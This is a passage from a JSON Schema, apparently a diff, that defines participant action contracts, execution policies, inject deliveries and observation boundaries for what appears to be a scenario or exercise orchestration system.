produce.","enum":["scenario_meaning","objective_result","workflow_result","evaluation_result","evidence_claim","reward_signal","benchmark_progress","privacy_redaction_result"],"title":"OutcomeInterpretationTargetLayer","type":"string"}, + "ParticipantActionArgumentCardinality": {"description":"Whether an action argument carries one value or a bounded collection.","enum":["one","many"],"title":"ParticipantActionArgumentCardinality","type":"string"}, + "ParticipantActionArgumentDefinition": {"additionalProperties":false,"description":"Closed authored domain for one non-secret portable action argument.","properties":{"allowed_values":{"items":{"$ref":"#/$defs/_r23"},"title":"Allowed Values","type":"array"},"cardinality":{"$ref":"#/$defs/ParticipantActionArgumentCardinality","default":"one"},"default":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"integer"},{"type":"number"},{"type":"boolean"},{"items":{"$ref":"#/$defs/_r23"},"type":"array"},{"type":"null"}],"default":null,"title":"Default"},"default_disclosure_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Default Disclosure Ref"},"loss_disclosure_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Loss Disclosure Ref","type":"string"},"max_items":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Max Items"},"max_length":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Max Length"},"maximum":{"anyOf":[{"type":"integer"},{"type":"number"},{"type":"null"}],"default":null,"title":"Maximum"},"min_items":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Min Items"},"min_length":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Min Length"},"minimum":{"anyOf":[{"type":"integer"},{"type":"number"},{"type":"null"}],"default":null,"title":"Minimum"},"normalization":{"$ref":"#/$defs/ParticipantActionArgumentNormalization"},"normalization_disclosure_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Normalization Disclosure Ref","type":"string"},"omission":{"$ref":"#/$defs/ParticipantActionArgumentOmission"},"omission_disclosure_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Omission Disclosure Ref","type":"string"},"unique_items":{"default":true,"title":"Unique Items","type":"boolean"},"value_type":{"$ref":"#/$defs/ParticipantActionArgumentValueType"}},"required":["value_type","normalization","normalization_disclosure_ref","omission","omission_disclosure_ref","loss_disclosure_ref"],"title":"ParticipantActionArgumentDefinition","type":"object"}, + "ParticipantActionArgumentNormalization": {"description":"Portable normalization operations with explicit disclosure.","enum":["identity","trim"],"title":"ParticipantActionArgumentNormalization","type":"string"}, + "ParticipantActionArgumentOmission": {"description":"Portable handling for an omitted action argument.","enum":["reject","use_default","omit"],"title":"ParticipantActionArgumentOmission","type":"string"}, + "ParticipantActionArgumentValueType": {"description":"Portable JSON value families admitted by an action argument.","enum":["string","integer","number","boolean","reference"],"title":"ParticipantActionArgumentValueType","type":"string"}, + "ParticipantActionContract": {"additionalProperties":false,"description":"Governed semantic contract for one participant action name.","properties":{"arguments":{"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantActionArgumentDefinition"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Arguments","type":"object"},"backend_failure_mappings":{"items":{"$ref":"#/$defs/ParticipantBackendFailureMapping"},"title":"Backend Failure Mappings","type":"array"},"backend_timing_disclosures":{"items":{"$ref":"#/$defs/ParticipantBackendTimingDisclosure"},"title":"Backend Timing Disclosures","type":"array"},"behavioral_granularity":{"$ref":"#/$defs/ParticipantActionGranularity"},"effects":{"items":{"$ref":"#/$defs/ParticipantActionEffect"},"title":"Effects","type":"array"},"evidence_expectations":{"items":{"$ref":"#/$defs/_r185"},"title":"Evidence Expectations","type":"array"},"failure_classes":{"items":{"$ref":"#/$defs/ParticipantFailureClass"},"title":"Failure Classes","type":"array"},"fidelity_claim":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Fidelity Claim","type":"string"},"interactions":{"items":{"$ref":"#/$defs/ParticipantInteractionDeclaration"},"title":"Interactions","type":"array"},"lifecycle_state":{"$ref":"#/$defs/ParticipantActionLifecycle","default":"active"},"observation_expectations":{"items":{"$ref":"#/$defs/_r185"},"title":"Observation Expectations","type":"array"},"preconditions":{"items":{"$ref":"#/$defs/ParticipantActionPrecondition"},"title":"Preconditions","type":"array"},"procedure_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Procedure Basis","type":"string"},"realization_profile":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Realization Profile","type":"string"},"semantic_version":{"$ref":"#/$defs/_r180"},"state_transition_effects":{"items":{"$ref":"#/$defs/_r185"},"title":"State Transition Effects","type":"array"},"temporal_contracts":{"items":{"$ref":"#/$defs/ParticipantTemporalContract"},"title":"Temporal Contracts","type":"array"}},"required":["semantic_version","behavioral_granularity","procedure_basis","realization_profile","fidelity_claim"],"title":"ParticipantActionContract","type":"object"}, + "ParticipantActionEffect": {"additionalProperties":false,"description":"Typed SEM-211 effect declaration on an action contract.","properties":{"description":{"$ref":"#/$defs/_r170"},"effect_class":{"$ref":"#/$defs/ParticipantEffectClass"},"effect_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Effect Id","type":"string"},"evidence_refs":{"$ref":"#/$defs/_r118"},"target_refs":{"$ref":"#/$defs/_r129"}},"required":["effect_id","effect_class","description"],"title":"ParticipantActionEffect","type":"object"}, + "ParticipantActionGranularity": {"description":"Behavioral granularity of a participant action contract.","enum":["atomic","procedure","aggregate"],"title":"ParticipantActionGranularity","type":"string"}, + "ParticipantActionLifecycle": {"description":"Governance lifecycle for participant action contracts.","enum":["draft","active","deprecated"],"title":"ParticipantActionLifecycle","type":"string"}, + "ParticipantActionPrecondition": {"additionalProperties":false,"description":"Typed SEM-211 applicability precondition on an action contract.","properties":{"description":{"$ref":"#/$defs/_r170"},"evidence_refs":{"$ref":"#/$defs/_r118"},"precondition_class":{"$ref":"#/$defs/ParticipantPreconditionClass"},"precondition_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Precondition Id","type":"string"},"support_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Support Refs","type":"array"}},"required":["precondition_id","precondition_class","description"],"title":"ParticipantActionPrecondition","type":"object"}, + "ParticipantActivityActionCandidate": {"additionalProperties":false,"description":"Stable weighted action candidate and its bounded recovery policy.","properties":{"action_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Action Ref","type":"string"},"cooldown_ticks":{"default":0,"maximum":1000000000,"minimum":0,"title":"Cooldown Ticks","type":"integer"},"depends_on":{"items":{"$ref":"#/$defs/_r3"},"maxItems":1024,"title":"Depends On","type":"array"},"max_retries":{"default":0,"maximum":1024,"minimum":0,"title":"Max Retries","type":"integer"},"retryable_failure_classes":{"items":{"$ref":"#/$defs/ParticipantFailureClass"},"maxItems":32,"title":"Retryable Failure Classes","type":"array"},"weight":{"maximum":1000000000,"minimum":1,"title":"Weight","type":"integer"}},"required":["action_ref","weight"],"title":"ParticipantActivityActionCandidate","type":"object"}, + "ParticipantActivityTiming": {"additionalProperties":false,"description":"Inclusive bounded interval for the next occurrence on the shared clock.","properties":{"maximum_ticks":{"maximum":1000000000,"minimum":1,"title":"Maximum Ticks","type":"integer"},"minimum_ticks":{"maximum":1000000000,"minimum":1,"title":"Minimum Ticks","type":"integer"}},"required":["minimum_ticks","maximum_ticks"],"title":"ParticipantActivityTiming","type":"object"}, + "ParticipantAutonomousExecutionPolicyV1": {"additionalProperties":false,"description":"Fixed-cadence deterministic scheduler binding.","properties":{"action_order":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Action Order","type":"array"},"clock_ref":{"$ref":"#/$defs/_r140"},"evaluation_authority":{"$ref":"#/$defs/ParticipantEvaluationAuthority"},"failure_policy":{"$ref":"#/$defs/ParticipantExecutionFailurePolicy","default":"stop"},"max_action_attempts":{"maximum":1000000,"minimum":1,"title":"Max Action Attempts","type":"integer"},"max_in_flight":{"$ref":"#/$defs/_r86"},"observation_boundary_ref":{"$ref":"#/$defs/_r141"},"participant_implementation_ref":{"$ref":"#/$defs/_r142"},"profile":{"const":"participant-autonomous-execution/v1","default":"participant-autonomous-execution/v1","title":"Profile","type":"string"},"progression_policy_ref":{"$ref":"#/$defs/_r143"},"selection_strategy":{"const":"ordered_cycle","default":"ordered_cycle","title":"Selection Strategy","type":"string"},"temporal_constraint_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Temporal Constraint Refs","type":"array"}},"required":["participant_implementation_ref","clock_ref","progression_policy_ref","temporal_constraint_refs","action_order","observation_boundary_ref","max_action_attempts","evaluation_authority"],"title":"ParticipantAutonomousExecutionPolicyV1","type":"object"}, + "ParticipantAutonomousExecutionPolicyV2": {"additionalProperties":false,"description":"Governed within-run activity policy for ordinary participants.","properties":{"action_candidates":{"$ref":"#/$defs/_r137"},"clock_ref":{"$ref":"#/$defs/_r140"},"empty_eligible_disposition":{"$ref":"#/$defs/_r87"},"evaluation_authority":{"$ref":"#/$defs/ParticipantEvaluationAuthority"},"failure_policy":{"$ref":"#/$defs/ParticipantExecutionFailurePolicy","default":"stop"},"max_action_attempts":{"maximum":1000000,"minimum":1,"title":"Max Action Attempts","type":"integer"},"max_burst_size":{"$ref":"#/$defs/_r85"},"max_in_flight":{"$ref":"#/$defs/_r86"},"max_occurrences":{"maximum":1000000,"minimum":1,"title":"Max Occurrences","type":"integer"},"observation_boundary_ref":{"$ref":"#/$defs/_r141"},"outside_window_disposition":{"$ref":"#/$defs/_r88"},"participant_implementation_ref":{"$ref":"#/$defs/_r142"},"pause_window_refs":{"$ref":"#/$defs/_r93"},"profile":{"const":"participant-autonomous-execution/v2","title":"Profile","type":"string"},"progression_policy_ref":{"$ref":"#/$defs/_r143"},"selection_strategy":{"const":"weighted","title":"Selection Strategy","type":"string"},"stochastic_control_ref":{"$ref":"#/$defs/_r144"},"timing":{"$ref":"#/$defs/ParticipantActivityTiming"},"work_window_refs":{"$ref":"#/$defs/_r92"}},"required":["profile","participant_implementation_ref","clock_ref","progression_policy_ref","work_window_refs","observation_boundary_ref","stochastic_control_ref","selection_strategy","timing","outside_window_disposition","empty_eligible_disposition","action_candidates","max_occurrences","max_action_attempts","evaluation_authority"],"title":"ParticipantAutonomousExecutionPolicyV2","type":"object"}, + "ParticipantAutonomousExecutionPolicyV3": {"additionalProperties":false,"description":"V2 activity plus scoped multi-resource governance.","properties":{"action_candidates":{"$ref":"#/$defs/_r137"},"clock_ref":{"$ref":"#/$defs/_r140"},"empty_eligible_disposition":{"$ref":"#/$defs/_r87"},"evaluation_authority":{"$ref":"#/$defs/ParticipantEvaluationAuthority"},"failure_policy":{"$ref":"#/$defs/ParticipantExecutionFailurePolicy","default":"stop"},"max_action_attempts":{"maximum":1000000,"minimum":1,"title":"Max Action Attempts","type":"integer"},"max_burst_size":{"$ref":"#/$defs/_r85"},"max_in_flight":{"$ref":"#/$defs/_r86"},"max_occurrences":{"maximum":1000000,"minimum":1,"title":"Max Occurrences","type":"integer"},"observation_boundary_ref":{"$ref":"#/$defs/_r141"},"outside_window_disposition":{"$ref":"#/$defs/_r88"},"participant_implementation_ref":{"$ref":"#/$defs/_r142"},"pause_window_refs":{"$ref":"#/$defs/_r93"},"profile":{"const":"participant-autonomous-execution/v3","title":"Profile","type":"string"},"progression_policy_ref":{"$ref":"#/$defs/_r143"},"resource_budget":{"$ref":"#/$defs/ParticipantResourceBudgetPolicy"},"selection_strategy":{"const":"weighted","title":"Selection Strategy","type":"string"},"stochastic_control_ref":{"$ref":"#/$defs/_r144"},"timing":{"$ref":"#/$defs/ParticipantActivityTiming"},"work_window_refs":{"$ref":"#/$defs/_r92"}},"required":["profile","participant_implementation_ref","clock_ref","progression_policy_ref","work_window_refs","observation_boundary_ref","stochastic_control_ref","selection_strategy","timing","outside_window_disposition","empty_eligible_disposition","action_candidates","max_occurrences","max_action_attempts","evaluation_authority","resource_budget"],"title":"ParticipantAutonomousExecutionPolicyV3","type":"object"}, + "ParticipantBackendFailureMapping": {"additionalProperties":false,"description":"Mapping from a backend diagnostic code to a portable SEM-211 failure.","properties":{"backend_error_code":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Backend Error Code","type":"string"},"diagnostic":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Diagnostic","type":"string"},"failure_class":{"$ref":"#/$defs/ParticipantFailureClass"}},"required":["backend_error_code","failure_class","diagnostic"],"title":"ParticipantBackendFailureMapping","type":"object"}, + "ParticipantBackendTimingDisclosure": {"additionalProperties":false,"description":"Backend timing realization disclosure for SEM-213 contracts.","properties":{"affected_temporal_ids":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Affected Temporal Ids","type":"array"},"description":{"$ref":"#/$defs/_r170"},"disclosure_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Disclosure Id","type":"string"},"disclosure_kind":{"$ref":"#/$defs/ParticipantBackendTimingDisclosureKind"},"limitations":{"$ref":"#/$defs/_r122"},"support_mode":{"$ref":"#/$defs/ParticipantTemporalSupportMode"}},"required":["disclosure_id","disclosure_kind","support_mode","description","affected_temporal_ids"],"title":"ParticipantBackendTimingDisclosure","type":"object"}, + "ParticipantBackendTimingDisclosureKind": {"description":"Backend timing realization disclosures.","enum":["pacing","dilation","synchronization","serialization","unsupported_guarantee"],"title":"ParticipantBackendTimingDisclosureKind","type":"string"}, + "ParticipantBehaviorSpecification": {"additionalProperties":false,"description":"First-class authored aggregate over participant behavior surfaces.","properties":{"action_contract_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Action Contract Refs","type":"array"},"authority_scope_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Authority Scope Refs","type":"array"},"autonomous_execution":{"anyOf":[{"$ref":"#/$defs/ParticipantAutonomousExecutionPolicyV1"},{"$ref":"#/$defs/ParticipantAutonomousExecutionPolicyV2"},{"$ref":"#/$defs/ParticipantAutonomousExecutionPolicyV3"},{"type":"null"}],"default":null,"title":"Autonomous Execution"},"backend_feature_support_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Backend Feature Support Refs","type":"array"},"behavior_mode":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Behavior Mode"},"evidence_contract_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Evidence Contract Refs","type":"array"},"extension_policy":{"default":"governed-extension","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Extension Policy","type":"string"},"extensions":{"additionalProperties":{"$ref":"#/$defs/BehaviorSpecificationExtensionValue"},"title":"Extensions","type":"object"},"lifecycle_state":{"$ref":"#/$defs/ParticipantBehaviorSpecificationLifecycle","default":"active"},"mixed_control":{"anyOf":[{"$ref":"#/$defs/MixedControlParticipantOperation"},{"type":"null"}],"default":null},"observation_boundary_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Observation Boundary Refs","type":"array"},"outcome_interpretation_rule_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Outcome Interpretation Rule Refs","type":"array"},"participant_inject_deliveries":{"additionalProperties":false,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantInjectDelivery"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Participant Inject Deliveries","type":"object"},"participant_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Participant Refs","type":"array"},"participant_role_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Participant Role Refs","type":"array"},"realization_profile_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Realization Profile Ref"},"semantic_version":{"$ref":"#/$defs/_r180"},"tool_affordances":{"additionalProperties":false,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantToolAffordance"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Tool Affordances","type":"object"}},"required":["semantic_version"],"title":"ParticipantBehaviorSpecification","type":"object"}, + "ParticipantBehaviorSpecificationLifecycle": {"description":"Governance lifecycle for participant behavior specifications.","enum":["draft","active","deprecated"],"title":"ParticipantBehaviorSpecificationLifecycle","type":"string"}, + "ParticipantEffectClass": {"description":"SEM-211 effect classes for participant action results.","enum":["intended_effect","side_effect","observation_effect","visibility_effect","detection_effect","evidence_effect","no_effect","unknown_effect"],"title":"ParticipantEffectClass","type":"string"}, + "ParticipantEvaluationAuthority": {"additionalProperties":false,"description":"Explicit evaluator-plane authority kept separate from participant actions.","properties":{"mode":{"$ref":"#/$defs/ParticipantEvaluationAuthorityMode"},"objective_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Objective Refs","type":"array"},"proof_producer_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Proof Producer Refs","type":"array"},"receipt_authority_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Receipt Authority Refs","type":"array"},"score_authority_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Score Authority Refs","type":"array"}},"required":["mode"],"title":"ParticipantEvaluationAuthority","type":"object"}, + "ParticipantEvaluationAuthorityMode": {"description":"Whether a participant may contribute to evaluator-plane authority.","enum":["none","declared"],"title":"ParticipantEvaluationAuthorityMode","type":"string"}, + "ParticipantExecutionFailurePolicy": {"description":"Disposition after a native participant action fails.","enum":["continue","stop"],"title":"ParticipantExecutionFailurePolicy","type":"string"}, + "ParticipantFailureClass": {"description":"SEM-211 portable failure classes for participant action attempts.","enum":["precondition_unsatisfied","unsupported_action","target_unavailable","authority_denied","resource_exhausted","timeout","interrupted","contention_lost","partial_success","unsafe_withheld","backend_error","unknown"],"title":"ParticipantFailureClass","type":"string"}, + "ParticipantInformationBoundaryClass": {"description":"SEM-210 classes for participant information-boundary objects.","enum":["observable_resource","telemetry_stream","tool_output","instruction","public_task_statement","starter_file","scaffold_instruction","subtask_guidance","hidden_truth","private_answer_key","canary","holdout_variant","adjudication_material","archival_evidence"],"title":"ParticipantInformationBoundaryClass","type":"string"}, + "ParticipantInjectDelivery": {"additionalProperties":false,"description":"Authored participant-local relation to one orchestration inject occurrence.","properties":{"control_authority_scope_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Control Authority Scope Refs","type":"array","uniqueItems":true},"control_effective_order":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Control Effective Order"},"control_evidence_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Control Evidence Refs","type":"array","uniqueItems":true},"control_transition_ref":{"anyOf":[{"$ref":"#/$defs/_r3"},{"type":"null"}],"default":null,"title":"Control Transition Ref"},"control_valid_from_order":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Control Valid From Order"},"control_valid_until_order":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Control Valid Until Order"},"controller_ref":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Controller Ref"},"delivery_kind":{"$ref":"#/$defs/ParticipantInjectDeliveryKind"},"delivery_policy":{"$ref":"#/$defs/ParticipantInjectDeliveryPolicy"},"evidence_requirement_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Evidence Requirement Refs","type":"array","uniqueItems":true},"failure_disposition":{"$ref":"#/$defs/ParticipantInjectDeliveryFailureDisposition"},"inject_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Inject Ref","type":"string"},"observation_boundary_ref":{"$ref":"#/$defs/_r141"},"occurrence":{"$ref":"#/$defs/ParticipantInjectOccurrenceAnchor"},"order_basis":{"$ref":"#/$defs/ParticipantInjectDeliveryOrderBasis"},"participant_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Participant Ref","type":"string"},"result_item_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Result Item Ref","type":"string"},"source_item_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Item Ref","type":"string"},"temporal_constraint_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Temporal Constraint Refs","type":"array","uniqueItems":true}},"required":["participant_ref","inject_ref","occurrence","source_item_ref","result_item_ref","observation_boundary_ref","delivery_kind","delivery_policy","order_basis","temporal_constraint_refs","evidence_requirement_refs","failure_disposition"],"title":"ParticipantInjectDelivery","type":"object"}, + "ParticipantInjectDeliveryFailureDisposition": {"description":"Fail-closed behavior when a declared delivery cannot be admitted.","enum":["reject-no-delivery"],"title":"ParticipantInjectDeliveryFailureDisposition","type":"string"}, + "ParticipantInjectDeliveryKind": {"description":"Participant-bound meaning kept distinct from orchestration identity.","enum":["disclosure","external-direction","intervention"],"title":"ParticipantInjectDeliveryKind","type":"string"}, + "ParticipantInjectDeliveryOrderBasis": {"description":"The only admitted ordering basis for participant inject delivery.","enum":["orchestration-occurrence-and-shared-time"],"title":"ParticipantInjectDeliveryOrderBasis","type":"string"}, + "ParticipantInjectDeliveryPolicy": {"additionalProperties":false,"description":"Closed, reference-led participant disclosure policy coordinates.","properties":{"audience_scope_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Audience Scope Ref","type":"string"},"disclosure_basis_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Disclosure Basis Ref","type":"string"},"exposure_policy_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Exposure Policy Ref","type":"string"},"policy_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy Ref","type":"string"},"policy_revision":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy Revision","type":"string"},"visibility_basis_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Visibility Basis Ref","type":"string"}},"required":["policy_ref","policy_revision","exposure_policy_ref","audience_scope_ref","visibility_basis_ref","disclosure_basis_ref"],"title":"ParticipantInjectDeliveryPolicy","type":"object"}, + "ParticipantInjectOccurrenceAnchor": {"additionalProperties":false,"description":"Exact inject occurrence in the existing event/script/story chain.","properties":{"event_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Event Ref","type":"string"},"script_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Script Ref","type":"string"},"story_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Story Ref","type":"string"}},"required":["event_ref","script_ref","story_ref"],"title":"ParticipantInjectOccurrenceAnchor","type":"object"}, + "ParticipantInteractionClass": {"description":"SEM-209 interaction classes for multi-participant behavior.","enum":["coordination","contention","interference","shared_state_change"],"title":"ParticipantInteractionClass","type":"string"}, + "ParticipantInteractionDeclaration": {"additionalProperties":false,"description":"Declared interaction semantics for a participant action contract.","properties":{"commutative":{"default":false,"title":"Commutative","type":"boolean"},"interaction_class":{"$ref":"#/$defs/ParticipantInteractionClass"},"merge_rule_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Merge Rule Ref"},"rationale":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Rationale","type":"string"},"related_actions":{"items":{"$ref":"#/$defs/_r185"},"title":"Related Actions","type":"array"},"shared_state_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Shared State Refs","type":"array"},"target":{"$ref":"#/$defs/_r182"}},"required":["interaction_class","target","rationale"],"title":"ParticipantInteractionDeclaration","type":"object"}, + "ParticipantInteractiveAccess": {"additionalProperties":false,"description":"One authored participant-to-compute-node interactive-access binding.\n\nThis record carries portable intent only. It is not a host locator, port,\ncredential, portal session, listener observation, or realization claim.","properties":{"account_ref":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Account Ref"},"channel":{"anyOf":[{"$ref":"#/$defs/ParticipantInteractiveAccessChannel"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Channel"},"target_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Ref","type":"string"}},"required":["target_ref","channel"],"title":"ParticipantInteractiveAccess","type":"object"}, + "ParticipantInteractiveAccessChannel": {"description":"Portable classes of authored participant interactive access.","enum":["ssh","rdp"],"title":"ParticipantInteractiveAccessChannel","type":"string"}, + "ParticipantObservationBoundary": {"additionalProperties":false,"description":"Participant-specific observation projection boundary.","properties":{"evidence_refs":{"$ref":"#/$defs/_r118"},"hidden_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Hidden Refs","type":"array"},"latency_profile":{"$ref":"#/$defs/_r172"},"observable_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Observable Refs","type":"array"},"observer_effects":{"items":{"$ref":"#/$defs/_r185"},"title":"Observer Effects","type":"array"},"projection_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Projection Basis","type":"string"},"realized_view_disclosure":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Realized View Disclosure"},"redaction_policy":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Redaction Policy","type":"string"},"view_rules":{"items":{"$ref":"#/$defs/ParticipantViewRule"},"title":"View Rules","type":"array"},"view_transitions":{"items":{"$ref":"#/$defs/ParticipantViewTransition"},"title":"View Transitions","type":"array"}},"required":["projection_basis","redaction_policy","latency_profile"],"title":"ParticipantObservationBoundary","type":"object"}, + "ParticipantPreconditionClass": {"description":"SEM-211 precondition classes for participant action applicability.","enum":["authority","capability","target","knowledge","resource","temporal","interaction","realization"],"title":"ParticipantPreconditionClass","type":"string"}, + "ParticipantRelationship": {"additionalProperties":false,"description":"Directed authored intent; a declaration never grants operational rights.","if":{"properties":{"control_specification_ref":{"type":"string"}},"required":["control_specification_ref"]},"properties":{"authority_basis_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Authority Basis Refs","type":"array","uniqueItems":true},"behavior_specification_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Behavior Specification Refs","type":"array","uniqueItems":true},"control_specification_ref":{"anyOf":[{"$ref":"#/$defs/_r138"},{"type":"null"}],"default":null,"title":"Control Specification Ref"},"kind":{"$ref":"#/$defs/ParticipantRelationshipKind"},"objective_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Objective Refs","type":"array","uniqueItems":true},"observation_boundary_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Observation Boundary 